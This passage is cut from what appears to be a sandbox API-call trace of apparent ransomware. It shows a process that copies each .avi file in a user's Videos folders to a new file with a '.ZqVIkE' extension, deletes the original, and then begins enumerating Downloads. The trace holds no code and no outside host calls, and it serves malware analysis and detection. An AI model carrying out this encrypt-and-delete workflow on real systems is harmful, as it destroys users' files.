ftLastWriteTime.dwHighDateTime=0x1d62a80, nFileSizeHigh=0x0, nFileSizeLow=0x5d05, dwReserved0=0x0, dwReserved1=0x0, cFileName="w-fGTFHpR69LMhw.avi", cAlternateFileName="W-FGTF~1.AVI")) returned 1 [0094.455] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.455] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0094.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ee10) returned 1 [0094.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71edd0) returned 1 [0094.456] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi.ZqVIkE", lpFilePart=0x0) returned 0x33 [0094.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0094.456] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\z1rs5r.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0094.456] GetFileType (hFile=0x37c) returned 0x1 [0094.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0094.456] GetFileType (hFile=0x37c) returned 0x1 [0095.300] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi", lpFilePart=0x0) returned 0x2c [0095.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0095.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\z1rs5r.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0095.300] GetFileType (hFile=0x378) returned 0x1 [0095.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0095.301] GetFileType (hFile=0x378) returned 0x1 [0095.302] ReadFile (in: hFile=0x378, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x1377, lpOverlapped=0x0) returned 1 [0095.311] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0095.311] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0095.314] WriteFile (in: hFile=0x37c, lpBuffer=0x278ab38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x278ab38*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0095.315] ReadFile (in: hFile=0x378, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0095.315] CloseHandle (hObject=0x378) returned 1 [0095.315] WriteFile (in: hFile=0x37c, lpBuffer=0x278ab38*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x278ab38*, lpNumberOfBytesWritten=0x71ed58*=0x3a0, lpOverlapped=0x0) returned 1 [0095.315] CloseHandle (hObject=0x37c) returned 1 [0095.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi", lpFilePart=0x0) returned 0x2c [0095.316] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\z1rs5R.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\z1rs5r.avi")) returned 1 [0095.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi.ZqVIkE", lpFilePart=0x0) returned 0x42 [0095.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0095.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\edysb.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0095.324] GetFileType (hFile=0x37c) returned 0x1 [0095.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0095.324] GetFileType (hFile=0x37c) returned 0x1 [0095.997] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi", lpFilePart=0x0) returned 0x3b [0095.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0095.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\edysb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0095.998] GetFileType (hFile=0x378) returned 0x1 [0095.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0095.998] GetFileType (hFile=0x378) returned 0x1 [0095.999] ReadFile (in: hFile=0x378, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x104b3, lpOverlapped=0x0) returned 1 [0096.007] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0096.007] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0096.012] WriteFile (in: hFile=0x37c, lpBuffer=0x26716e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26716e8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0096.013] WriteFile (in: hFile=0x37c, lpBuffer=0x2674160*, nNumberOfBytesToWrite=0xf4d0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2674160*, lpNumberOfBytesWritten=0x71ee88*=0xf4d0, lpOverlapped=0x0) returned 1 [0096.014] ReadFile (in: hFile=0x378, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0096.014] CloseHandle (hObject=0x378) returned 1 [0096.014] WriteFile (in: hFile=0x37c, lpBuffer=0x26716e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26716e8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0096.014] CloseHandle (hObject=0x37c) returned 1 [0096.016] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi", lpFilePart=0x0) returned 0x3b [0096.016] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\EDYsB.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\edysb.avi")) returned 1 [0096.033] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi.ZqVIkE", lpFilePart=0x0) returned 0x54 [0096.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0096.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\gp6n0mm3n9qeg9x4.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0096.033] GetFileType (hFile=0x37c) returned 0x1 [0096.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0096.034] GetFileType (hFile=0x37c) returned 0x1 [0096.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi", lpFilePart=0x0) returned 0x4d [0096.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0096.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\gp6n0mm3n9qeg9x4.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0096.673] GetFileType (hFile=0x378) returned 0x1 [0096.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0096.673] GetFileType (hFile=0x378) returned 0x1 [0096.674] ReadFile (in: hFile=0x378, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x4307, lpOverlapped=0x0) returned 1 [0096.684] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0096.684] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0096.688] WriteFile (in: hFile=0x37c, lpBuffer=0x27676b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x27676b8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0096.688] WriteFile (in: hFile=0x37c, lpBuffer=0x276a170*, nNumberOfBytesToWrite=0x3320, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x276a170*, lpNumberOfBytesWritten=0x71ee88*=0x3320, lpOverlapped=0x0) returned 1 [0096.689] ReadFile (in: hFile=0x378, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0096.689] CloseHandle (hObject=0x378) returned 1 [0096.689] WriteFile (in: hFile=0x37c, lpBuffer=0x27676b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x27676b8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0096.689] CloseHandle (hObject=0x37c) returned 1 [0096.690] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi", lpFilePart=0x0) returned 0x4d [0096.690] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\gP6n0mM3n9QEg9X4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\gp6n0mm3n9qeg9x4.avi")) returned 1 [0096.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi.ZqVIkE", lpFilePart=0x0) returned 0x4e [0096.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0096.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\i0hlxaglv4.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0096.744] GetFileType (hFile=0x37c) returned 0x1 [0096.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0096.744] GetFileType (hFile=0x37c) returned 0x1 [0097.491] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi", lpFilePart=0x0) returned 0x47 [0097.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0097.491] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\i0hlxaglv4.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0097.491] GetFileType (hFile=0x378) returned 0x1 [0097.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0097.491] GetFileType (hFile=0x378) returned 0x1 [0097.493] ReadFile (in: hFile=0x378, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xc27, lpOverlapped=0x0) returned 1 [0097.500] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0097.500] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0097.502] ReadFile (in: hFile=0x378, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0097.503] CloseHandle (hObject=0x378) returned 1 [0097.503] WriteFile (in: hFile=0x37c, lpBuffer=0x2649a80*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2649a80*, lpNumberOfBytesWritten=0x71ed58*=0xc50, lpOverlapped=0x0) returned 1 [0097.503] CloseHandle (hObject=0x37c) returned 1 [0097.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi", lpFilePart=0x0) returned 0x47 [0097.504] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\I0hlXAGLV4.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\i0hlxaglv4.avi")) returned 1 [0097.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi.ZqVIkE", lpFilePart=0x0) returned 0x53 [0097.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0097.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\w-fgtfhpr69lmhw.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0097.508] GetFileType (hFile=0x37c) returned 0x1 [0097.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0097.508] GetFileType (hFile=0x37c) returned 0x1 [0098.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi", lpFilePart=0x0) returned 0x4c [0098.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0098.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\w-fgtfhpr69lmhw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0098.192] GetFileType (hFile=0x378) returned 0x1 [0098.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0098.192] GetFileType (hFile=0x378) returned 0x1 [0098.194] ReadFile (in: hFile=0x378, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x5d05, lpOverlapped=0x0) returned 1 [0098.204] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0098.204] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0098.205] WriteFile (in: hFile=0x37c, lpBuffer=0x2731f88*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2731f88*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0098.205] WriteFile (in: hFile=0x37c, lpBuffer=0x2734a38*, nNumberOfBytesToWrite=0x4d20, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2734a38*, lpNumberOfBytesWritten=0x71ee88*=0x4d20, lpOverlapped=0x0) returned 1 [0098.206] ReadFile (in: hFile=0x378, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0098.206] CloseHandle (hObject=0x378) returned 1 [0098.206] WriteFile (in: hFile=0x37c, lpBuffer=0x2731f88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2731f88*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0098.206] CloseHandle (hObject=0x37c) returned 1 [0098.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi", lpFilePart=0x0) returned 0x4c [0098.207] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\iOd5if\\w-fGTFHpR69LMhw.avi" (normalized: "c:\\users\\fd1hvy\\videos\\qle-sqxqah\\nyhrpydgqudwkfr\\iod5if\\w-fgtfhpr69lmhw.avi")) returned 1 [0098.245] CoTaskMemAlloc (cb=0x20c) returned 0x1ae55300 [0098.245] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x1ae55300 | out: pszPath="C:\\Users\\FD1HVy") returned 0x0 [0098.246] CoTaskMemFree (pv=0x1ae55300) [0098.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x105, lpBuffer=0x71e8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0098.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71eed0) returned 1 [0098.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads", nBufferLength=0x105, lpBuffer=0x71e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Downloads", lpFilePart=0x0) returned 0x19 [0098.246] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*.*", lpFindFileData=0x71ebf0 | out: lpFindFileData=0x71ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0098.246] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0098.247] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50730 [0098.247] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.247] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.247] FindNextFileW (in: hFindFile=0x1ae50730, 